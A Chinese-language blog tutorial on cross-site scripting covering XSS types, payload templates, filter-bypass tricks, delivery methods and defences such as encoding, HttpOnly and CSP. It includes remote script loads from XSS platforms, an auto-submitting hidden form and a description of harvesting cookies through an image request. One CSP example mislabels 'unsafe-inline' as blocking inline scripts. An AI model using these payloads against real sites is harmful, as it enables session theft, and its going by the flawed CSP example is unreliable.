XSS 跨站脚本

1906 字
10 分钟
XSS 跨站脚本

一、XSS 概述#

1.1 什么是 XSS?#

XSS(Cross Site Scripting,跨站脚本攻击)是一种前端漏洞,目的是让受害者的浏览器执行攻击者编写的恶意 JS 脚本。

属性说明
攻击目标前端脚本解析引擎(如浏览器 JavaScript 引擎)
攻击架构B/S 架构(Browser ↔ Server)
核心目的让受害者 JS 客户端运行攻击者的恶意脚本

1.2 XSS 的危害#

技术层面:

  • 窃取凭证(Cookie、Session)
  • 篡改 DOM(页面布局及内容)
  • 嵌入恶意脚本代码
  • 发起恶意请求(Ajax)
  • 键盘记录
  • 窃取用户浏览历史
  • 获取客户端 IP
  • 端口扫描
  • 获取剪贴板记录
  • 破解 CSRF Token 限制

社会影响层面:

  • 无账号密码情况下非法登录网站
  • 网络钓鱼
  • 网页蠕虫
  • 网页篡改

1.3 XSS 漏洞原理#

前端用户提交的脚本代码,被其他用户浏览器执行,产生预期外的执行后果。

简单来说:让自己提交的前端脚本代码被别人运行。


二、JS 执行模板#

Payload说明
<script>alert(1)</script>直接嵌入 script 标签
<script src=https://xsspt.com/MQzN0Z></script>从远程加载 script
<input onmouseover="alert(1)">通过事件属性触发
<a href="javascript:alert(1)">aaa</a>超链接伪协议
<svg onload="alert(1)">SVG 标签的 onload 事件
<svg><script>alert(1)</script></svg>SVG 中嵌入 script
<textarea></textarea><script>alert(1)</script>闭合 textarea 后注入

闭合技巧:

<!-- 需要先闭合标签再注入 -->
<textarea>xxx</textarea> → <textarea></textarea><script>alert(1)</script>

三、XSS 类型#

类型说明是否与服务器交互
反射型 XSS一次性 XSS,通过 URL 参数传递恶意代码✅ 是
存储型 XSS持久性 XSS,恶意代码存储在服务器数据库中✅ 是
DOM 型 XSS一次性 XSS,通过 DOM 操作触发,不与服务器交互❌ 否

3.1 反射型 XSS#

攻击者 → 构造恶意链接 → 诱骗受害者点击 → 恶意脚本在受害者浏览器执行

示例:

http://target.com/search?q=<script>alert(1)</script>

3.2 存储型 XSS#

攻击者 → 在论坛/评论区提交恶意脚本 → 存储在服务器数据库 → 其他用户访问页面时执行

3.3 DOM 型 XSS#

攻击者 → 构造恶意 URL → 页面 JS 解析 URL 参数 → 动态写入 DOM → 脚本执行

特点: 不与服务器交互,完全在客户端发生。


四、如何发现 XSS#

核心原则:见框就插!

常见输入点#

输入点说明
URL 参数?q=xxx、?id=xxx
无参 URL/name/zs 路径部分
表单输入搜索框、评论区、注册/登录框
文件上传点文件名、文件内容
HTTP 请求头User-Agent、Referer、Cookie

发现思路#

  1. 找到输入点和输出点
  2. 根据输入点猜测后台的输出点位置及触发条件(盲 XSS)
  3. 使用 Payload 测试
  4. 观察闭合、过滤和拦截情况
  5. 重新构造 Payload

五、XSS 代码投放方式#

方式1:直接发送链接#

http://target.com/search?q=<script>alert(1)</script>

方式2:通过短网址#

原链接:http://target.com/search?q=<script>alert(1)</script>
短网址:http://dwz.cn/abc123

方式3:隐藏表单自动提交#

<!-- 诱骗用户点击的页面 -->
<img src="https://example.com/beautiful.jpg" />
<form action="http://target.com/alert.php" method="post">
<input name="data" id="data" type="hidden" value="<script>alert(1)</script>">
<input type="submit" id="btn" value="点击查看更多美女图片">
</form>
<script>
document.getElementById('btn').click();
</script>

方式4:XSS 平台#

从 XSS 平台(如 https://xssaq.com)获取攻击 JS 脚本,投放后收割 Cookie。


六、XSS 利用步骤#

1. 找到输入点和输出点(含两者共存的情况)
2. 构造 Payload,尽量一次性成功
3. 观察闭合、过滤和拦截情况
4. 重新构造 Payload
5. 如不成功,重复第 3、4 步

七、编码和转义#

编码#

编码是改变字符的外观表示,中间件会自动解码还原。

编码类型示例
URL 编码%3Cscript%3E
HTML 实体编码&lt;script&gt;
Base64PHNjcmlwdD4=
Unicode\u0061\u006c\u0065\u0072\u0074

转义#

转义是使特殊字符失去闭合等意义,成为普通字符。

// 转义单引号
' --> \'
对比编码转义
是否改变外观✅ 是❌ 否
是否失去特殊意义视情况✅ 是

Unicode 编码示例#

// 三个八进制数字
"e" → "\145"
// 两个十六进制数字
"e" → "\x65"
// 四个十六进制数字
"e" → "\u0065"
// 示例:编码后的 alert(1)
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029");

八、XSS 绕过技巧#

8.1 大小写绕过#

<ScRiPt>alert(1)</ScRiPt>

8.2 双写绕过#

<scr<script>ipt>alert(1)</scr</script>ipt>

8.3 换行绕过#

<script>
alert(1)
</script>

8.4 引号和括号替代#

<!-- 使用 / 替代引号 -->
<script>alert(/XSS/)</script>
<!-- 使用 String.fromCharCode -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

8.5 生僻元素绕过#

<svg onload="alert(1)">
<details open ontoggle="alert(1)">

8.6 注释绕过#

<!-- 使用注释闭合 -->
<script>alert(1)//</script>
<!-- 或 -->
<!-- --><script>alert(1)</script>

8.7 HTML 实体编码绕过#

<!-- HTML 实体编码绕过过滤 -->
<a href="javascript:alert(1)">点击</a>
<!-- 或 -->
<a href="javasc& #114;ipt:alert(1)">点击</a>

8.8 拉丁字母/特殊字符绕过#

<!-- 使用拉丁字母替代 -->
<ѕcript>alert(1)</ѕcript>

8.9 提前嵌入反斜杠#

<scr\ipt>alert(1)</scr\ipt>

8.10 多行代码合并#

<!-- 原始代码 -->
<script>
function add(x, y){
return x+y;
}
document.write(add(2,3));
</script>
<!-- 合并为一行 -->
<script>function add(x,y){return x+y;}document.write(add(2,3));</script>

九、浏览器安全策略#

9.1 同源策略#

判断同源的三个要素:

要素说明
协议http / https
域名baidu.com / www.baidu.com
端口80 / 443 / 9001

示例判断:

http://baidu.com/ ← 基准
http://www.baidu.com ❌ 域名不同
http://baidu.com:9001 ❌ 端口不同
https://baidu.com ❌ 协议不同
http://baidu.com/abc/ ✅ 同源(路径不影响)
http://baidu.com/lab/ ✅ 同源(路径不影响)

9.2 跨域限制#

受跨域限制:

限制项说明
Cookie、LocalStorage、IndexDB无法跨域读取
修改 iframe 中其他网站的 DOM无法跨域修改
AJAX 请求默认无法跨域发起

不受跨域限制:

操作说明
跨域提交表单<form action="...">
跨域引入资源<img>、<iframe>、<link>、<script>

9.3 HttpOnly#

属性说明
HttpOnlyCookie 标记 HttpOnly 后,JS 无法读取该 Cookie,只能由浏览器在 HTTP 请求中自动携带
作用防止 XSS 窃取 Cookie(但无法防止 CSRF)
// PHP 设置 HttpOnly Cookie
setcookie("name", "value", time()+3600, "/", "", false, true);
// ↑
// HttpOnly

9.4 常见疑问#

问: XSS 代码植入后,将 Cookie 发送到 XSS 平台(不同源网站),为什么能成功?

答:

  • XSS 平台接收 Cookie 是通过 跨域请求(如 <img src="xss平台地址?cookie=xxx">)
  • 这种跨域请求不受同源策略限制(通过 <img>、<script> 等标签引入资源是允许的)
  • Cookie 的发送是通过当前页面的 JS 读取后拼接到 URL 中,不是浏览器自动携带 Cookie 跨域

十、XSS 防护思路#

10.1 防护措施#

措施说明
白名单策略只允许指定的标签和事件属性
黑名单策略过滤危险标签和事件(不可靠,易绕过)
HTML 实体编码对 <、>、"、'、/ 进行编码
HttpOnly下发 Cookie 时添加 HttpOnly 属性
CSP设置 Content-Security-Policy,限制脚本执行来源
XSS 过滤框架使用成熟的防 XSS 框架(如 OWASP 的 ESAPI)
富文本编辑器采用成熟的富文本前端组件(如 UEditor、TinyMCE)

10.2 关键防护代码#

// PHP 输出时进行 HTML 实体编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// PHP 设置 HttpOnly Cookie
setcookie('session_id', $value, [
'httponly' => true,
'secure' => true, // 仅 HTTPS 传输
'samesite' => 'Strict'
]);

10.3 CSP 示例#

<!-- 仅允许来自同源的脚本 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<!-- 仅允许来自特定域名的脚本 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://cdn.example.com">
<!-- 禁止内联脚本执行 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">

📌 快速参考卡片#

常用 Payload#

<!-- 基础弹窗 -->
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<!-- 事件触发 -->
<img src="x" onerror="alert(1)">
<body onload="alert(1)">
<input onfocus="alert(1)" autofocus>
<!-- 超链接 -->
<a href="javascript:alert(1)">点击</a>
<!-- SVG -->
<svg onload="alert(1)">
<!-- 远程加载 -->
<script src="https://xss.pt/xxx.js"></script>

XSS 类型判断#

反射型:恶意代码在 URL 中,一次性
存储型:恶意代码在数据库中,持久性
DOM型:恶意代码在 URL 中,纯前端触发,不与服务器交互

绕过速查#

大小写 → <ScRiPt>alert(1)</ScRiPt>
双写 → <scr<script>ipt>alert(1)</scr</script>ipt>
编码 → 实体编码、Unicode、Base64
生僻元素 → svg、details、video、audio
注释 → 用 // 或 <!-- --> 闭合

防御速查#

输入过滤 → 过滤危险标签和事件
输出编码 → htmlspecialchars()
Cookie → HttpOnly + Secure + SameSite
CSP → 限制脚本来源
富文本 → 使用成熟编辑器

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

XSS 跨站脚本
https://blog.emberlag.com/posts/xss/
作者
3mb3rl4g
发布于
2026-09-14
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录